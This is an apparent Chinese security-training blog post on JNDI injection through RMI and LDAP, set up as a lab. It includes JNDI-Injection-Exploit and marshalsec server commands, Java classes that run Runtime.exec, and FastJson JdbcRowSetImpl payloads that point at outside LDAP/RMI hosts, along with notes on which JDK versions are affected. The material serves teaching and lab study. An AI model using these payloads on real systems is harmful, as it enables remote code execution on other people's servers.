第37天:安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

发布于:2025-02-21 ⋅ 阅读:(19) ⋅ 点赞:(0)

时间轴:

思考明白:

什么是 jndi 注入
为什么有 jndi 注入
JDNI 注入安全问题
JDNI 注入利用条件

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#0x01-%E4%BB%80%E4%B9%88%E6%98%AF-jndi

演示案例:

JNDI 注入-RMI&LDAP 服务

JNDI 注入-FastJson 漏洞结合

JNDI 注入-JDK 高版本注入绕过

JNDI 注入-RMI&LDAP 服务

J NDI 全称为 Java Naming and DirectoryInterface Java 命名和目录接口),
是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来
定义用户、网络、机器、对象和服务等各种资源。 JNDI 支持的服务主要有: DNS
LDAP CORBA RMI 等。
RMI :远程方法调用注册表
LDAP :轻量级目录访问协议
调用检索:
Java 为了将 Object 对象存储在 Naming Directory 服务下,提供了 Naming
Reference 功能,对象可以通过绑定 Reference 存储在 Naming Directory 服务
下,比如 RMI LDAP 等。 javax.naming.InitialContext.lookup()
RMI 服务中调用了 InitialContext.lookup() 的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObj
ect()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDINa me(Str
ing sfJNDIName)
LDAP 服务中调用了 InitialContext.lookup() 的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

演示:

1.创建新项目Jndi-Inject-Demo

2.软件包com.example.jndiinjectdemo里写JndiDemo:

package com.example.jndiinjectdemo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiDemo {
    public static void main(String[] args) throws NamingException {
        //创建一个rmi ldap等服务调用  实例化对象
        InitialContext ini = new InitialContext();
        //调用rmi ldap等服务对象类(远程服务)
        //ldap://47.243.198.220:1389/5le86y = 远程地址的一个class文件被执行
        //ini.lookup("ldap://47.243.198.220:1389/5le86y");
        ini.lookup("rmi://47.243.198.220:1099/5le86y");
    }
}
 1.JNDI远程调用JNDI-Injection

1.1使用xshell连接

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.243.198.220

1.2使用ldap连接

1.3使用rmi连接

2.JNDI远程调用-marshalsec

1 、使用远程调用 ( 默认端口 1389 )
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");

new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");

2、编译调用对象

javac Test.java

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

4、将生成的Class存放访问路径

2.1创建项目Jndi:

在下面创建一个Test.java:(生成test文件)

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("notepad");
    }
}

生成Test.class:

进入终端terminal:

生成命令:

 cd .\src\main\java\

 javac .\Test.java  

 ls

方法一:在xshell里面安装phpstudy:

wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh

方法二:

python -m SimpleHTTPServer

将文件放入该目录下

使用47.243.198.220/Test.class来查看下载成功没有

在下面创建一个ldap.java进行执行:

import javax.naming.InitialContext;

public class ldap {
    public static void main(String[] args) throws Exception{

        //创建一个rmi ldap等服务调用 实例化对象
        //new InitialContext().lookup("rmi://47.94.236.117:1099/Test");
        //调用rmi ldap等服务对象类(远程服务)
        //ldap://47.94.236.117:1389/nx5qkh =  远程地址的一个class文件被执行
        //ini.lookup("ldap://47.94.236.117:1389/nx5qkh");

        //new InitialContext().lookup("ldap://localhost:1389/Calc");
        new InitialContext().lookup("ldap://47.94.236.117:1389/Test");
        //new InitialContext().lookup("ldap://47.94.236.117:1389/Test");


    }
}

使用xshell运行代码:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

记得打开phpstudy的防火墙

3.切换不同java,jdk版本
比较 LDAP - marshalsec工具 RMI marshalsec工具 LDAP - jndi-inject工具 RMI jndi-inject工具
JDK 17            都可以         无法调用         无法调用        无法调用
11版本         无法调用         无法调用        无法调用
8u362         无法执行         无法执行        无法执行
8U112            可以            可以           可以

通过编辑器修改版本:

此处作者不做演示了。

对于jdk高版本无法绕过原因:

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

4.JNDI-Injection & marshalsec 实现原理
RMI调用
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

Registry首先启动,并监听一个端口,一般是1099:

Registry registry = LocateRegistry.createRegistry(1099);


在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。

Server向Registry注册远程对象:

Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);


服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。

Client从Registry获取远程对象的代理:

Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");


客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。

Client通过这个代理调用远程对象的方法:

// 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
// 例如:CalcInterface calc = (CalcInterface) remoteObject;
// 远程方法调用示例
// 例如:calc.performCalculation();


客户端通过获得的代理对象调用远程对象的方法。

Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:
在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。

Server端的代理将执行结果返回给Client端代理:
执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;
 
public class RMIServer {
 
    public static void main(String[] args) throws Exception {
        // 创建 RMI 注册表并监听在 1099 端口上
        Registry registry = LocateRegistry.createRegistry(1099);
 
        **// 创建一个包含类信息的 Reference 对象
        // className: 远程加载时所使用的类名
        // classFactory: 加载的类中需要实例化的类的名称
        // classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议
        Reference reference = new Reference("Calc", "Calc", "http://localhost/");**
 
        // 使用 Reference 对象创建 ReferenceWrapper 对象
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
 
        // 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"
        registry.bind("calc", wrapper);
    }
}
import java.lang.Runtime;
 
public class Calc {
    public Calc() throws Exception{
        Runtime.getRuntime().exec("mstsc");
    }
}

5.ldap总代码及总结:

import javax.naming.InitialContext;

public class ldap {
    public static void main(String[] args) throws Exception{

        //1.jndi - rmi ldap服务
        //2.rmi ldap 都可以进行远程调用对象 可以远程执行java代码class文件
        //3.攻击利用中就用到了jndi-inject项目和marshalsec
        //3.1发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过方法)
        //4.1 利用要知道其他类也能调用jndi注入(rmi,ldap)

        //创建一个rmi ldap等服务调用 实例化对象
        //new InitialContext().lookup("rmi://47.94.236.117:1099/Test");
        //调用rmi ldap等服务对象类(远程服务)
        //ldap://47.94.236.117:1389/nx5qkh =  远程地址的一个class文件被执行
        //ini.lookup("ldap://47.94.236.117:1389/nx5qkh");

        //new InitialContext().lookup("ldap://localhost:1389/Calc");
        //new InitialContext().lookup("ldap://47.94.236.117:1389/Test");

        //RMI marshalsec工具
        //JDK 17版本 无法调用
        //11版本无法调用
        // 8u362 无法执行
        // 8U112 可以

        //RMI jndi-inject工具
        //JDK 17版本 无法调用
        //11版本无法调用
        // 8u362 无法执行
        // 8U112 可以
        //new InitialContext().lookup("rmi://47.94.236.117:1099/Test");

        //LDAP  - marshalsec工具
        //JDK 17
        // 11版本
        // 8u362
        // 8U112 都可以

        //LDAP  - jndi-inject工具
        //JDK 17版本 无法调用
        //11版本无法调用
        // 8u362 无法执行
        // 8U112 可以
        new InitialContext().lookup("ldap://47.94.236.117:1389/awvmkm");




    }
}
总结:

1.jndi - rmi ldap服务
2.rmi ldap 都可以进行远程调用对象 可以远程执行java代码class文件
3.攻击利用中就用到了jndi-inject项目和marshalsec
3.1发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过方法)
4.1 利用要知道其他类也能调用jndi注入(rmi,ldap)

JNDI注入-FastJson漏洞结合


背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

参考文章:

FastJson反序列化漏洞(复现)_fastjson漏洞复现-CSDN博客

1.先创建一个FSJNDI:

2.修改项目pom.xml:

3.在com下面创建一个Fsweb.java

package com.example.fsjndi;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/json")
public class Fsweb extends HelloServlet{

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String jsondata=req.getParameter("str");
        System.out.println(jsondata);
        JSONObject jsonObject = JSON.parseObject(jsondata);
        System.out.println(jsonObject);
    }
}

4.修改index.jsp

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
<form action="/json" method="post">
    please input json data:<input type="text" name="str"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>

5.如何进行直接/json访问

6.漏洞利用尝试:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/ejzqto","autoCommit":true}

7.黑盒你怎么知道fastjson  所以利用漏洞poc:

在500状态栏中由fastjson:

在发送数据时为json数据:

8.漏洞原因:(和上节课相同)

反序列化时进行转换

 9.为什么可以在com.sun.rowset.JdbcRowSetImpl中使用lookup?

10.不同版本jdk8u_362:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/Test","autoCommit":true}

结果:

接受了但没有反应,因为和fastjson逻辑还是不符合

总结:

javaee开发一个json转换功能

利用fastjson组件实现的(Web应用)


和今天jndi注入(rmi ldap连贯)


{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}

黑盒你怎么知道fastjson  所以利用漏洞poc


白盒知道fastjson 那poc为什么那样写


com.xiaodi.Run 执行命令的一个类(是我们自己写的 实战你不能写)

我们学习的ldap rmi 怎么和com.sun.rowset.JdbcRowsetImpl联系上呢?


实验去调用ldap rmi javax.naming.Initialcontext.lookup()

Initialcontext.lookup()方法 com.sun.rowset.JdbcRowsetImpl类用到


{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}

该文章由李豆豆喵和番薯小羊卷~共同完成。